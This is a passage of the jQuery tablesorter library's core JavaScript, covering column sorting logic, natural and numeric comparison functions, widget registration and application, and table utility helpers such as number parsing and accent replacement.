rows/elements before update c.$table.find( c.selectorRemove ).remove(); // rebuild parsers ts.setupParsers( c ); // rebuild the cache map ts.buildCache( c ); ts.checkResort( c, resort, callback ); }, /* ▄█████ ▄████▄ █████▄ ██████ ██ █████▄ ▄████▄ ▀█▄ ██ ██ ██▄▄██ ██ ██ ██ ██ ██ ▄▄▄ ▀█▄ ██ ██ ██▀██ ██ ██ ██ ██ ██ ▀██ █████▀ ▀████▀ ██ ██ ██ ██ ██ ██ ▀████▀ */ initSort : function( c, cell, event ) { if ( c.table.isUpdating ) { // let any updates complete before initializing a sort return setTimeout( function() { ts.initSort( c, cell, event ); }, 50 ); } var arry, indx, headerIndx, dir, temp, tmp, $header, notMultiSort = !event[ c.sortMultiSortKey ], table = c.table, len = c.$headers.length, th = ts.getClosest( $( cell ), 'th, td' ), col = parseInt( th.attr( 'data-column' ), 10 ), sortedBy = event.type === 'mouseup' ? 'user' : event.type, order = c.sortVars[ col ].order; th = th[0]; // Only call sortStart if sorting is enabled c.$table.triggerHandler( 'sortStart', table ); // get current column sort order tmp = ( c.sortVars[ col ].count + 1 ) % order.length; c.sortVars[ col ].count = event[ c.sortResetKey ] ? 2 : tmp; // reset all sorts on non-current column - issue #30 if ( c.sortRestart ) { for ( headerIndx = 0; headerIndx < len; headerIndx++ ) { $header = c.$headers.eq( headerIndx ); tmp = parseInt( $header.attr( 'data-column' ), 10 ); // only reset counts on columns that weren't just clicked on and if not included in a multisort if ( col !== tmp && ( notMultiSort || $header.hasClass( ts.css.sortNone ) ) ) { c.sortVars[ tmp ].count = -1; } } } // user only wants to sort on one column if ( notMultiSort ) { $.each( c.sortVars, function( i ) { c.sortVars[ i ].sortedBy = ''; }); // flush the sort list c.sortList = []; c.last.sortList = []; if ( c.sortForce !== null ) { arry = c.sortForce; for ( indx = 0; indx < arry.length; indx++ ) { if ( arry[ indx ][ 0 ] !== col ) { c.sortList[ c.sortList.length ] = arry[ indx ]; c.sortVars[ arry[ indx ][ 0 ] ].sortedBy = 'sortForce'; } } } // add column to sort list dir = order[ c.sortVars[ col ].count ]; if ( dir < 2 ) { c.sortList[ c.sortList.length ] = [ col, dir ]; c.sortVars[ col ].sortedBy = sortedBy; // add other columns if header spans across multiple if ( th.colSpan > 1 ) { for ( indx = 1; indx < th.colSpan; indx++ ) { c.sortList[ c.sortList.length ] = [ col + indx, dir ]; // update count on columns in colSpan c.sortVars[ col + indx ].count = $.inArray( dir, order ); c.sortVars[ col + indx ].sortedBy = sortedBy; } } } // multi column sorting } else { // get rid of the sortAppend before adding more - fixes issue #115 & #523 c.sortList = $.extend( [], c.last.sortList ); // the user has clicked on an already sorted column if ( ts.isValueInArray( col, c.sortList ) >= 0 ) { // reverse the sorting direction c.sortVars[ col ].sortedBy = sortedBy; for ( indx = 0; indx < c.sortList.length; indx++ ) { tmp = c.sortList[ indx ]; if ( tmp[ 0 ] === col ) { // order.count seems to be incorrect when compared to cell.count tmp[ 1 ] = order[ c.sortVars[ col ].count ]; if ( tmp[1] === 2 ) { c.sortList.splice( indx, 1 ); c.sortVars[ col ].count = -1; } } } } else { // add column to sort list array dir = order[ c.sortVars[ col ].count ]; c.sortVars[ col ].sortedBy = sortedBy; if ( dir < 2 ) { c.sortList[ c.sortList.length ] = [ col, dir ]; // add other columns if header spans across multiple if ( th.colSpan > 1 ) { for ( indx = 1; indx < th.colSpan; indx++ ) { c.sortList[ c.sortList.length ] = [ col + indx, dir ]; // update count on columns in colSpan c.sortVars[ col + indx ].count = $.inArray( dir, order ); c.sortVars[ col + indx ].sortedBy = sortedBy; } } } } } // save sort before applying sortAppend c.last.sortList = $.extend( [], c.sortList ); if ( c.sortList.length && c.sortAppend ) { arry = $.isArray( c.sortAppend ) ? c.sortAppend : c.sortAppend[ c.sortList[ 0 ][ 0 ] ]; if ( !ts.isEmptyObject( arry ) ) { for ( indx = 0; indx < arry.length; indx++ ) { if ( arry[ indx ][ 0 ] !== col && ts.isValueInArray( arry[ indx ][ 0 ], c.sortList ) < 0 ) { dir = arry[ indx ][ 1 ]; temp = ( '' + dir ).match( /^(a|d|s|o|n)/ ); if ( temp ) { tmp = c.sortList[ 0 ][ 1 ]; switch ( temp[ 0 ] ) { case 'd' : dir = 1; break; case 's' : dir = tmp; break; case 'o' : dir = tmp === 0 ? 1 : 0; break; case 'n' : dir = ( tmp + 1 ) % order.length; break; default: dir = 0; break; } } c.sortList[ c.sortList.length ] = [ arry[ indx ][ 0 ], dir ]; c.sortVars[ arry[ indx ][ 0 ] ].sortedBy = 'sortAppend'; } } } } // sortBegin event triggered immediately before the sort c.$table.triggerHandler( 'sortBegin', table ); // setTimeout needed so the processing icon shows up setTimeout( function() { // set css for headers ts.setHeadersCss( c ); ts.multisort( c ); ts.appendCache( c ); c.$table.triggerHandler( 'sortBeforeEnd', table ); c.$table.triggerHandler( 'sortEnd', table ); }, 1 ); }, // sort multiple columns multisort : function( c ) { /*jshint loopfunc:true */ var tbodyIndex, sortTime, colMax, rows, tmp, table = c.table, sorter = [], dir = 0, textSorter = c.textSorter || '', sortList = c.sortList, sortLen = sortList.length, len = c.$tbodies.length; if ( c.serverSideSorting || ts.isEmptyObject( c.cache ) ) { // empty table - fixes #206/#346 return; } if ( ts.debug(c, 'core') ) { sortTime = new Date(); } // cache textSorter to optimize speed if ( typeof textSorter === 'object' ) { colMax = c.columns; while ( colMax-- ) { tmp = ts.getColumnData( table, textSorter, colMax ); if ( typeof tmp === 'function' ) { sorter[ colMax ] = tmp; } } } for ( tbodyIndex = 0; tbodyIndex < len; tbodyIndex++ ) { colMax = c.cache[ tbodyIndex ].colMax; rows = c.cache[ tbodyIndex ].normalized; rows.sort( function( a, b ) { var sortIndex, num, col, order, sort, x, y; // rows is undefined here in IE, so don't use it! for ( sortIndex = 0; sortIndex < sortLen; sortIndex++ ) { col = sortList[ sortIndex ][ 0 ]; order = sortList[ sortIndex ][ 1 ]; // sort direction, true = asc, false = desc dir = order === 0; if ( c.sortStable && a[ col ] === b[ col ] && sortLen === 1 ) { return a[ c.columns ].order - b[ c.columns ].order; } // fallback to natural sort since it is more robust num = /n/i.test( ts.getSortType( c.parsers, col ) ); if ( num && c.strings[ col ] ) { // sort strings in numerical columns if ( typeof ( ts.string[ c.strings[ col ] ] ) === 'boolean' ) { num = ( dir ? 1 : -1 ) * ( ts.string[ c.strings[ col ] ] ? -1 : 1 ); } else { num = ( c.strings[ col ] ) ? ts.string[ c.strings[ col ] ] || 0 : 0; } // fall back to built-in numeric sort // var sort = $.tablesorter['sort' + s]( a[col], b[col], dir, colMax[col], table ); sort = c.numberSorter ? c.numberSorter( a[ col ], b[ col ], dir, colMax[ col ], table ) : ts[ 'sortNumeric' + ( dir ? 'Asc' : 'Desc' ) ]( a[ col ], b[ col ], num, colMax[ col ], col, c ); } else { // set a & b depending on sort direction x = dir ? a : b; y = dir ? b : a; // text sort function if ( typeof textSorter === 'function' ) { // custom OVERALL text sorter sort = textSorter( x[ col ], y[ col ], dir, col, table ); } else if ( typeof sorter[ col ] === 'function' ) { // custom text sorter for a SPECIFIC COLUMN sort = sorter[ col ]( x[ col ], y[ col ], dir, col, table ); } else { // fall back to natural sort sort = ts[ 'sortNatural' + ( dir ? 'Asc' : 'Desc' ) ]( a[ col ] || '', b[ col ] || '', col, c ); } } if ( sort ) { return sort; } } return a[ c.columns ].order - b[ c.columns ].order; }); } if ( ts.debug(c, 'core') ) { console.log( 'Applying sort ' + sortList.toString() + ts.benchmark( sortTime ) ); } }, resortComplete : function( c, callback ) { if ( c.table.isUpdating ) { c.$table.triggerHandler( 'updateComplete', c.table ); } if ( $.isFunction( callback ) ) { callback( c.table ); } }, checkResort : function( c, resort, callback ) { var sortList = $.isArray( resort ) ? resort : c.sortList, // if no resort parameter is passed, fallback to config.resort (true by default) resrt = typeof resort === 'undefined' ? c.resort : resort; // don't try to resort if the table is still processing // this will catch spamming of the updateCell method if ( resrt !== false && !c.serverSideSorting && !c.table.isProcessing ) { if ( sortList.length ) { ts.sortOn( c, sortList, function() { ts.resortComplete( c, callback ); }, true ); } else { ts.sortReset( c, function() { ts.resortComplete( c, callback ); ts.applyWidget( c.table, false ); } ); } } else { ts.resortComplete( c, callback ); ts.applyWidget( c.table, false ); } }, sortOn : function( c, list, callback, init ) { var indx, table = c.table; c.$table.triggerHandler( 'sortStart', table ); for (indx = 0; indx < c.columns; indx++) { c.sortVars[ indx ].sortedBy = ts.isValueInArray( indx, list ) > -1 ? 'sorton' : ''; } // update header count index ts.updateHeaderSortCount( c, list ); // set css for headers ts.setHeadersCss( c ); // fixes #346 if ( c.delayInit && ts.isEmptyObject( c.cache ) ) { ts.buildCache( c ); } c.$table.triggerHandler( 'sortBegin', table ); // sort the table and append it to the dom ts.multisort( c ); ts.appendCache( c, init ); c.$table.triggerHandler( 'sortBeforeEnd', table ); c.$table.triggerHandler( 'sortEnd', table ); ts.applyWidget( table ); if ( $.isFunction( callback ) ) { callback( table ); } }, sortReset : function( c, callback ) { c.sortList = []; var indx; for (indx = 0; indx < c.columns; indx++) { c.sortVars[ indx ].count = -1; c.sortVars[ indx ].sortedBy = ''; } ts.setHeadersCss( c ); ts.multisort( c ); ts.appendCache( c ); if ( $.isFunction( callback ) ) { callback( c.table ); } }, getSortType : function( parsers, column ) { return ( parsers && parsers[ column ] ) ? parsers[ column ].type || '' : ''; }, getOrder : function( val ) { // look for 'd' in 'desc' order; return true return ( /^d/i.test( val ) || val === 1 ); }, // Natural sort - https://github.com/overset/javascript-natural-sort (date sorting removed) sortNatural : function( a, b ) { if ( a === b ) { return 0; } a = ( a || '' ).toString(); b = ( b || '' ).toString(); var aNum, bNum, aFloat, bFloat, indx, max, regex = ts.regex; // first try and sort Hex codes if ( regex.hex.test( b ) ) { aNum = parseInt( a.match( regex.hex ), 16 ); bNum = parseInt( b.match( regex.hex ), 16 ); if ( aNum < bNum ) { return -1; } if ( aNum > bNum ) { return 1; } } // chunk/tokenize aNum = a.replace( regex.chunk, '\\0$1\\0' ).replace( regex.chunks, '' ).split( '\\0' ); bNum = b.replace( regex.chunk, '\\0$1\\0' ).replace( regex.chunks, '' ).split( '\\0' ); max = Math.max( aNum.length, bNum.length ); // natural sorting through split numeric strings and default strings for ( indx = 0; indx < max; indx++ ) { // find floats not starting with '0', string or 0 if not defined aFloat = isNaN( aNum[ indx ] ) ? aNum[ indx ] || 0 : parseFloat( aNum[ indx ] ) || 0; bFloat = isNaN( bNum[ indx ] ) ? bNum[ indx ] || 0 : parseFloat( bNum[ indx ] ) || 0; // handle numeric vs string comparison - number < string - (Kyle Adams) if ( isNaN( aFloat ) !== isNaN( bFloat ) ) { return isNaN( aFloat ) ? 1 : -1; } // rely on string comparison if different types - i.e. '02' < 2 != '02' < '2' if ( typeof aFloat !== typeof bFloat ) { aFloat += ''; bFloat += ''; } if ( aFloat < bFloat ) { return -1; } if ( aFloat > bFloat ) { return 1; } } return 0; }, sortNaturalAsc : function( a, b, col, c ) { if ( a === b ) { return 0; } var empty = ts.string[ ( c.empties[ col ] || c.emptyTo ) ]; if ( a === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? -1 : 1 ) : -empty || -1; } if ( b === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? 1 : -1 ) : empty || 1; } return ts.sortNatural( a, b ); }, sortNaturalDesc : function( a, b, col, c ) { if ( a === b ) { return 0; } var empty = ts.string[ ( c.empties[ col ] || c.emptyTo ) ]; if ( a === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? -1 : 1 ) : empty || 1; } if ( b === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? 1 : -1 ) : -empty || -1; } return ts.sortNatural( b, a ); }, // basic alphabetical sort sortText : function( a, b ) { return a > b ? 1 : ( a < b ? -1 : 0 ); }, // return text string value by adding up ascii value // so the text is somewhat sorted when using a digital sort // this is NOT an alphanumeric sort getTextValue : function( val, num, max ) { if ( max ) { // make sure the text value is greater than the max numerical value (max) var indx, len = val ? val.length : 0, n = max + num; for ( indx = 0; indx < len; indx++ ) { n += val.charCodeAt( indx ); } return num * n; } return 0; }, sortNumericAsc : function( a, b, num, max, col, c ) { if ( a === b ) { return 0; } var empty = ts.string[ ( c.empties[ col ] || c.emptyTo ) ]; if ( a === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? -1 : 1 ) : -empty || -1; } if ( b === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? 1 : -1 ) : empty || 1; } if ( isNaN( a ) ) { a = ts.getTextValue( a, num, max ); } if ( isNaN( b ) ) { b = ts.getTextValue( b, num, max ); } return a - b; }, sortNumericDesc : function( a, b, num, max, col, c ) { if ( a === b ) { return 0; } var empty = ts.string[ ( c.empties[ col ] || c.emptyTo ) ]; if ( a === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? -1 : 1 ) : empty || 1; } if ( b === '' && empty !== 0 ) { return typeof empty === 'boolean' ? ( empty ? 1 : -1 ) : -empty || -1; } if ( isNaN( a ) ) { a = ts.getTextValue( a, num, max ); } if ( isNaN( b ) ) { b = ts.getTextValue( b, num, max ); } return b - a; }, sortNumeric : function( a, b ) { return a - b; }, /* ██ ██ ██ ██ █████▄ ▄████▄ ██████ ██████ ▄█████ ██ ██ ██ ██ ██ ██ ██ ▄▄▄ ██▄▄ ██ ▀█▄ ██ ██ ██ ██ ██ ██ ██ ▀██ ██▀▀ ██ ▀█▄ ███████▀ ██ █████▀ ▀████▀ ██████ ██ █████▀ */ addWidget : function( widget ) { if ( widget.id && !ts.isEmptyObject( ts.getWidgetById( widget.id ) ) ) { console.warn( '"' + widget.id + '" widget was loaded more than once!' ); } ts.widgets[ ts.widgets.length ] = widget; }, hasWidget : function( $table, name ) { $table = $( $table ); return $table.length && $table[ 0 ].config && $table[ 0 ].config.widgetInit[ name ] || false; }, getWidgetById : function( name ) { var indx, widget, len = ts.widgets.length; for ( indx = 0; indx < len; indx++ ) { widget = ts.widgets[ indx ]; if ( widget && widget.id && widget.id.toLowerCase() === name.toLowerCase() ) { return widget; } } }, applyWidgetOptions : function( table ) { var indx, widget, wo, c = table.config, len = c.widgets.length; if ( len ) { for ( indx = 0; indx < len; indx++ ) { widget = ts.getWidgetById( c.widgets[ indx ] ); if ( widget && widget.options ) { wo = $.extend( true, {}, widget.options ); c.widgetOptions = $.extend( true, wo, c.widgetOptions ); // add widgetOptions to defaults for option validator $.extend( true, ts.defaults.widgetOptions, widget.options ); } } } }, addWidgetFromClass : function( table ) { var len, indx, c = table.config, // look for widgets to apply from table class // don't match from 'ui-widget-content'; use \S instead of \w to include widgets // with dashes in the name, e.g. "widget-test-2" extracts out "test-2" regex = '^' + c.widgetClass.replace( ts.regex.templateName, '(\\S+)+' ) + '$', widgetClass = new RegExp( regex, 'g' ), // split up table class (widget id's can include dashes) - stop using match // otherwise only one widget gets extracted, see #1109 widgets = ( table.className || '' ).split( ts.regex.spaces ); if ( widgets.length ) { len = widgets.length; for ( indx = 0; indx < len; indx++ ) { if ( widgets[ indx ].match( widgetClass ) ) { c.widgets[ c.widgets.length ] = widgets[ indx ].replace( widgetClass, '$1' ); } } } }, applyWidgetId : function( table, id, init ) { table = $(table)[0]; var applied, time, name, c = table.config, wo = c.widgetOptions, debug = ts.debug(c, 'core'), widget = ts.getWidgetById( id ); if ( widget ) { name = widget.id; applied = false; // add widget name to option list so it gets reapplied after sorting, filtering, etc if ( $.inArray( name, c.widgets ) < 0 ) { c.widgets[ c.widgets.length ] = name; } if ( debug ) { time = new Date(); } if ( init || !( c.widgetInit[ name ] ) ) { // set init flag first to prevent calling init more than once (e.g. pager) c.widgetInit[ name ] = true; if ( table.hasInitialized ) { // don't reapply widget options on tablesorter init ts.applyWidgetOptions( table ); } if ( typeof widget.init === 'function' ) { applied = true; if ( debug ) { console[ console.group ? 'group' : 'log' ]( 'Initializing ' + name + ' widget' ); } widget.init( table, widget, c, wo ); } } if ( !init && typeof widget.format === 'function' ) { applied = true; if ( debug ) { console[ console.group ? 'group' : 'log' ]( 'Updating ' + name + ' widget' ); } widget.format( table, c, wo, false ); } if ( debug ) { if ( applied ) { console.log( 'Completed ' + ( init ? 'initializing ' : 'applying ' ) + name + ' widget' + ts.benchmark( time ) ); if ( console.groupEnd ) { console.groupEnd(); } } } } }, applyWidget : function( table, init, callback ) { table = $( table )[ 0 ]; // in case this is called externally var indx, len, names, widget, time, c = table.config, debug = ts.debug(c, 'core'), widgets = []; // prevent numerous consecutive widget applications if ( init !== false && table.hasInitialized && ( table.isApplyingWidgets || table.isUpdating ) ) { return; } if ( debug ) { time = new Date(); } ts.addWidgetFromClass( table ); // prevent "tablesorter-ready" from firing multiple times in a row clearTimeout( c.timerReady ); if ( c.widgets.length ) { table.isApplyingWidgets = true; // ensure unique widget ids c.widgets = $.grep( c.widgets, function( val, index ) { return $.inArray( val, c.widgets ) === index; }); names = c.widgets || []; len = names.length; // build widget array & add priority as needed for ( indx = 0; indx < len; indx++ ) { widget = ts.getWidgetById( names[ indx ] ); if ( widget && widget.id ) { // set priority to 10 if not defined if ( !widget.priority ) { widget.priority = 10; } widgets[ indx ] = widget; } else if ( debug ) { console.warn( '"' + names[ indx ] + '" was enabled, but the widget code has not been loaded!' ); } } // sort widgets by priority widgets.sort( function( a, b ) { return a.priority < b.priority ? -1 : a.priority === b.priority ? 0 : 1; }); // add/update selected widgets len = widgets.length; if ( debug ) { console[ console.group ? 'group' : 'log' ]( 'Start ' + ( init ? 'initializing' : 'applying' ) + ' widgets' ); } for ( indx = 0; indx < len; indx++ ) { widget = widgets[ indx ]; if ( widget && widget.id ) { ts.applyWidgetId( table, widget.id, init ); } } if ( debug && console.groupEnd ) { console.groupEnd(); } } c.timerReady = setTimeout( function() { table.isApplyingWidgets = false; $.data( table, 'lastWidgetApplication', new Date() ); c.$table.triggerHandler( 'tablesorter-ready' ); // callback executed on init only if ( !init && typeof callback === 'function' ) { callback( table ); } if ( debug ) { widget = c.widgets.length; console.log( 'Completed ' + ( init === true ? 'initializing ' : 'applying ' ) + widget + ' widget' + ( widget !== 1 ? 's' : '' ) + ts.benchmark( time ) ); } }, 10 ); }, removeWidget : function( table, name, refreshing ) { table = $( table )[ 0 ]; var index, widget, indx, len, c = table.config; // if name === true, add all widgets from $.tablesorter.widgets if ( name === true ) { name = []; len = ts.widgets.length; for ( indx = 0; indx < len; indx++ ) { widget = ts.widgets[ indx ]; if ( widget && widget.id ) { name[ name.length ] = widget.id; } } } else { // name can be either an array of widgets names, // or a space/comma separated list of widget names name = ( $.isArray( name ) ? name.join( ',' ) : name || '' ).toLowerCase().split( /[\s,]+/ ); } len = name.length; for ( index = 0; index < len; index++ ) { widget = ts.getWidgetById( name[ index ] ); indx = $.inArray( name[ index ], c.widgets ); // don't remove the widget from config.widget if refreshing if ( indx >= 0 && refreshing !== true ) { c.widgets.splice( indx, 1 ); } if ( widget && widget.remove ) { if ( ts.debug(c, 'core') ) { console.log( ( refreshing ? 'Refreshing' : 'Removing' ) + ' "' + name[ index ] + '" widget' ); } widget.remove( table, c, c.widgetOptions, refreshing ); c.widgetInit[ name[ index ] ] = false; } } c.$table.triggerHandler( 'widgetRemoveEnd', table ); }, refreshWidgets : function( table, doAll, dontapply ) { table = $( table )[ 0 ]; // see issue #243 var indx, widget, c = table.config, curWidgets = c.widgets, widgets = ts.widgets, len = widgets.length, list = [], callback = function( table ) { $( table ).triggerHandler( 'refreshComplete' ); }; // remove widgets not defined in config.widgets, unless doAll is true for ( indx = 0; indx < len; indx++ ) { widget = widgets[ indx ]; if ( widget && widget.id && ( doAll || $.inArray( widget.id, curWidgets ) < 0 ) ) { list[ list.length ] = widget.id; } } ts.removeWidget( table, list.join( ',' ), true ); if ( dontapply !== true ) { // call widget init if ts.applyWidget( table, doAll || false, callback ); if ( doAll ) { // apply widget format ts.applyWidget( table, false, callback ); } } else { callback( table ); } }, /* ██ ██ ██████ ██ ██ ██ ██████ ██ ██████ ▄█████ ██ ██ ██ ██ ██ ██ ██ ██ ██▄▄ ▀█▄ ██ ██ ██ ██ ██ ██ ██ ██ ██▀▀ ▀█▄ ▀████▀ ██ ██ ██████ ██ ██ ██ ██████ █████▀ */ benchmark : function( diff ) { return ( ' (' + ( new Date().getTime() - diff.getTime() ) + ' ms)' ); }, // deprecated ts.log log : function() { console.log( arguments ); }, debug : function(c, name) { return c && ( c.debug === true || typeof c.debug === 'string' && c.debug.indexOf(name) > -1 ); }, // $.isEmptyObject from jQuery v1.4 isEmptyObject : function( obj ) { /*jshint forin: false */ for ( var name in obj ) { return false; } return true; }, isValueInArray : function( column, arry ) { var indx, len = arry && arry.length || 0; for ( indx = 0; indx < len; indx++ ) { if ( arry[ indx ][ 0 ] === column ) { return indx; } } return -1; }, formatFloat : function( str, table ) { if ( typeof str !== 'string' || str === '' ) { return str; } // allow using formatFloat without a table; defaults to US number format var num, usFormat = table && table.config ? table.config.usNumberFormat !== false : typeof table !== 'undefined' ? table : true; if ( usFormat ) { // US Format - 1,234,567.89 -> 1234567.89 str = str.replace( ts.regex.comma, '' ); } else { // German Format = 1.234.567,89 -> 1234567.89 // French Format = 1 234 567,89 -> 1234567.89 str = str.replace( ts.regex.digitNonUS, '' ).replace( ts.regex.comma, '.' ); } if ( ts.regex.digitNegativeTest.test( str ) ) { // make (#) into a negative number -> (10) = -10 str = str.replace( ts.regex.digitNegativeReplace, '-$1' ); } num = parseFloat( str ); // return the text instead of zero return isNaN( num ) ? $.trim( str ) : num; }, isDigit : function( str ) { // replace all unwanted chars and match return isNaN( str ) ? ts.regex.digitTest.test( str.toString().replace( ts.regex.digitReplace, '' ) ) : str !== ''; }, // computeTableHeaderCellIndexes from: // http://www.javascripttoolbox.com/lib/table/examples.php // http://www.javascripttoolbox.com/temp/table_cellindex.html computeColumnIndex : function( $rows, c ) { var i, j, k, l, cell, cells, rowIndex, rowSpan, colSpan, firstAvailCol, // total columns has been calculated, use it to set the matrixrow columns = c && c.columns || 0, matrix = [], matrixrow = new Array( columns ); for ( i = 0; i < $rows.length; i++ ) { cells = $rows[ i ].cells; for ( j = 0; j < cells.length; j++ ) { cell = cells[ j ]; rowIndex = i; rowSpan = cell.rowSpan || 1; colSpan = cell.colSpan || 1; if ( typeof matrix[ rowIndex ] === 'undefined' ) { matrix[ rowIndex ] = []; } // Find first available column in the first row for ( k = 0; k < matrix[ rowIndex ].length + 1; k++ ) { if ( typeof matrix[ rowIndex ][ k ] === 'undefined' ) { firstAvailCol = k; break; } } // jscs:disable disallowEmptyBlocks if ( columns && cell.cellIndex === firstAvailCol ) { // don't to anything } else if ( cell.setAttribute ) { // jscs:enable disallowEmptyBlocks // add data-column (setAttribute = IE8+) cell.setAttribute( 'data-column', firstAvailCol ); } else { // remove once we drop support for IE7 - 1/12/2016 $( cell ).attr( 'data-column', firstAvailCol ); } for ( k = rowIndex; k < rowIndex + rowSpan; k++ ) { if ( typeof matrix[ k ] === 'undefined' ) { matrix[ k ] = []; } matrixrow = matrix[ k ]; for ( l = firstAvailCol; l < firstAvailCol + colSpan; l++ ) { matrixrow[ l ] = 'x'; } } } } ts.checkColumnCount($rows, matrix, matrixrow.length); return matrixrow.length; }, checkColumnCount : function($rows, matrix, columns) { // this DOES NOT report any tbody column issues, except for the math and // and column selector widgets var i, len, valid = true, cells = []; for ( i = 0; i < matrix.length; i++ ) { // some matrix entries are undefined when testing the footer because // it is using the rowIndex property if ( matrix[i] ) { len = matrix[i].length; if ( matrix[i].length !== columns ) { valid = false; break; } } } if ( !valid ) { $rows.each( function( indx, el ) { var cell = el.parentElement.nodeName; if ( cells.indexOf( cell ) < 0 ) { cells.push( cell ); } }); console.error( 'Invalid or incorrect number of columns in the ' + cells.join( ' or ' ) + '; expected ' + columns + ', but found ' + len + ' columns' ); } }, // automatically add a colgroup with col elements set to a percentage width fixColumnWidth : function( table ) { table = $( table )[ 0 ]; var overallWidth, percent, $tbodies, len, index, c = table.config, $colgroup = c.$table.children( 'colgroup' ); // remove plugin-added colgroup, in case we need to refresh the widths if ( $colgroup.length && $colgroup.hasClass( ts.css.colgroup ) ) { $colgroup.remove(); } if ( c.widthFixed && c.$table.children( 'colgroup' ).length === 0 ) { $colgroup = $( '<colgroup class="' + ts.css.colgroup + '">' ); overallWidth = c.$table.width(); // only add col for visible columns - fixes #371 $tbodies = c.$tbodies.find( 'tr:first' ).children( ':visible' ); len = $tbodies.length; for ( index = 0; index < len; index++ ) { percent = parseInt( ( $tbodies.eq( index ).width() / overallWidth ) * 1000, 10 ) / 10 + '%'; $colgroup.append( $( '<col>' ).css( 'width', percent ) ); } c.$table.prepend( $colgroup ); } }, // get sorter, string, empty, etc options for each column from // jQuery data, metadata, header option or header class name ('sorter-false') // priority = jQuery data > meta > headers option > header class name getData : function( header, configHeader, key ) { var meta, cl4ss, val = '', $header = $( header ); if ( !$header.length ) { return ''; } meta = $.metadata ? $header.metadata() : false; cl4ss = ' ' + ( $header.attr( 'class' ) || '' ); if ( typeof $header.data( key ) !== 'undefined' || typeof $header.data( key.toLowerCase() ) !== 'undefined' ) { // 'data-lockedOrder' is assigned to 'lockedorder'; but 'data-locked-order' is assigned to 'lockedOrder' // 'data-sort-initial-order' is assigned to 'sortInitialOrder' val += $header.data( key ) || $header.data( key.toLowerCase() ); } else if ( meta && typeof meta[ key ] !== 'undefined' ) { val += meta[ key ]; } else if ( configHeader && typeof configHeader[ key ] !== 'undefined' ) { val += configHeader[ key ]; } else if ( cl4ss !== ' ' && cl4ss.match( ' ' + key + '-' ) ) { // include sorter class name 'sorter-text', etc; now works with 'sorter-my-custom-parser' val = cl4ss.match( new RegExp( '\\s' + key + '-([\\w-]+)' ) )[ 1 ] || ''; } return $.trim( val ); }, getColumnData : function( table, obj, indx, getCell, $headers ) { if ( typeof obj !== 'object' || obj === null ) { return obj; } table = $( table )[ 0 ]; var $header, key, c = table.config, $cells = ( $headers || c.$headers ), // c.$headerIndexed is not defined initially $cell = c.$headerIndexed && c.$headerIndexed[ indx ] || $cells.find( '[data-column="' + indx + '"]:last' ); if ( typeof obj[ indx ] !== 'undefined' ) { return getCell ? obj[ indx ] : obj[ $cells.index( $cell ) ]; } for ( key in obj ) { if ( typeof key === 'string' ) { $header = $cell // header cell with class/id .filter( key ) // find elements within the header cell with cell/id .add( $cell.find( key ) ); if ( $header.length ) { return obj[ key ]; } } } return; }, // *** Process table *** // add processing indicator isProcessing : function( $table, toggle, $headers ) { $table = $( $table ); var c = $table[ 0 ].config, // default to all headers $header = $headers || $table.find( '.' + ts.css.header ); if ( toggle ) { // don't use sortList if custom $headers used if ( typeof $headers !== 'undefined' && c.sortList.length > 0 ) { // get headers from the sortList $header = $header.filter( function() { // get data-column from attr to keep compatibility with jQuery 1.2.6 return this.sortDisabled ? false : ts.isValueInArray( parseFloat( $( this ).attr( 'data-column' ) ), c.sortList ) >= 0; }); } $table.add( $header ).addClass( ts.css.processing + ' ' + c.cssProcessing ); } else { $table.add( $header ).removeClass( ts.css.processing + ' ' + c.cssProcessing ); } }, // detach tbody but save the position // don't use tbody because there are portions that look for a tbody index (updateCell) processTbody : function( table, $tb, getIt ) { table = $( table )[ 0 ]; if ( getIt ) { table.isProcessing = true; $tb.before( '<colgroup class="tablesorter-savemyplace"/>' ); return $.fn.detach ? $tb.detach() : $tb.remove(); } var holdr = $( table ).find( 'colgroup.tablesorter-savemyplace' ); $tb.insertAfter( holdr ); holdr.remove(); table.isProcessing = false; }, clearTableBody : function( table ) { $( table )[ 0 ].config.$tbodies.children().detach(); }, // used when replacing accented characters during sorting characterEquivalents : { 'a' : '\u00e1\u00e0\u00e2\u00e3\u00e4\u0105\u00e5', // áàâãäąå 'A' : '\u00c1\u00c0\u00c2\u00c3\u00c4\u0104\u00c5', // ÁÀÂÃÄĄÅ 'c' : '\u00e7\u0107\u010d', // çćč 'C' : '\u00c7\u0106\u010c', // ÇĆČ 'e' : '\u00e9\u00e8\u00ea\u00eb\u011b\u0119', // éèêëěę 'E' : '\u00c9\u00c8\u00ca\u00cb\u011a\u0118', // ÉÈÊËĚĘ 'i' : '\u00ed\u00ec\u0130\u00ee\u00ef\u0131', // íìİîïı 'I' : '\u00cd\u00cc\u0130\u00ce\u00cf', // ÍÌİÎÏ 'o' : '\u00f3\u00f2\u00f4\u00f5\u00f6\u014d', // óòôõöō 'O' : '\u00d3\u00d2\u00d4\u00d5\u00d6\u014c', // ÓÒÔÕÖŌ 'ss': '\u00df', // ß (s sharp) 'SS': '\u1e9e', // ẞ (Capital sharp s) 'u' : '\u00fa\u00f9\u00fb\u00fc\u016f', // úùûüů 'U' : '\u00da\u00d9\u00db\u00dc\u016e' // ÚÙÛÜŮ }, replaceAccents : function( str ) { var chr, acc = '[', eq = ts.characterEquivalents; if ( !ts.characterRegex ) { ts.characterRegexArray = {}; for ( chr in eq ) { if ( typeof chr === 'string' ) { acc += eq[ chr ]; ts.characterRegexArray[ chr ] = new RegExp( '[' + eq[ chr ] + ']', 'g' ); } } ts.characterRegex = new RegExp( acc + ']' ); } if ( ts.characterRegex.test( str ) ) { for ( chr in eq ) { if ( typeof chr === 'string' ) { str = str.replace( ts.characterRegexArray[ chr ], chr ); } } } return str; }, validateOptions : function( c ) { var setting, setting2, typ, timer, // ignore options containing an array ignore = 'headers sortForce sortList sortAppend widgets'.split( ' ' ), orig = c.originalSettings; if ( orig ) { if ( ts.debug(c, 'core') ) { timer = new Date(); } for ( setting in orig ) { typ = typeof ts.defaults[setting]; if ( typ === 'undefined' ) { console.warn( 'Tablesorter Warning! "table.config.' + setting + '" option not recognized' ); } else if ( typ === 'object' ) { for ( setting2 in orig[setting] ) { typ = ts.defaults[setting] && typeof 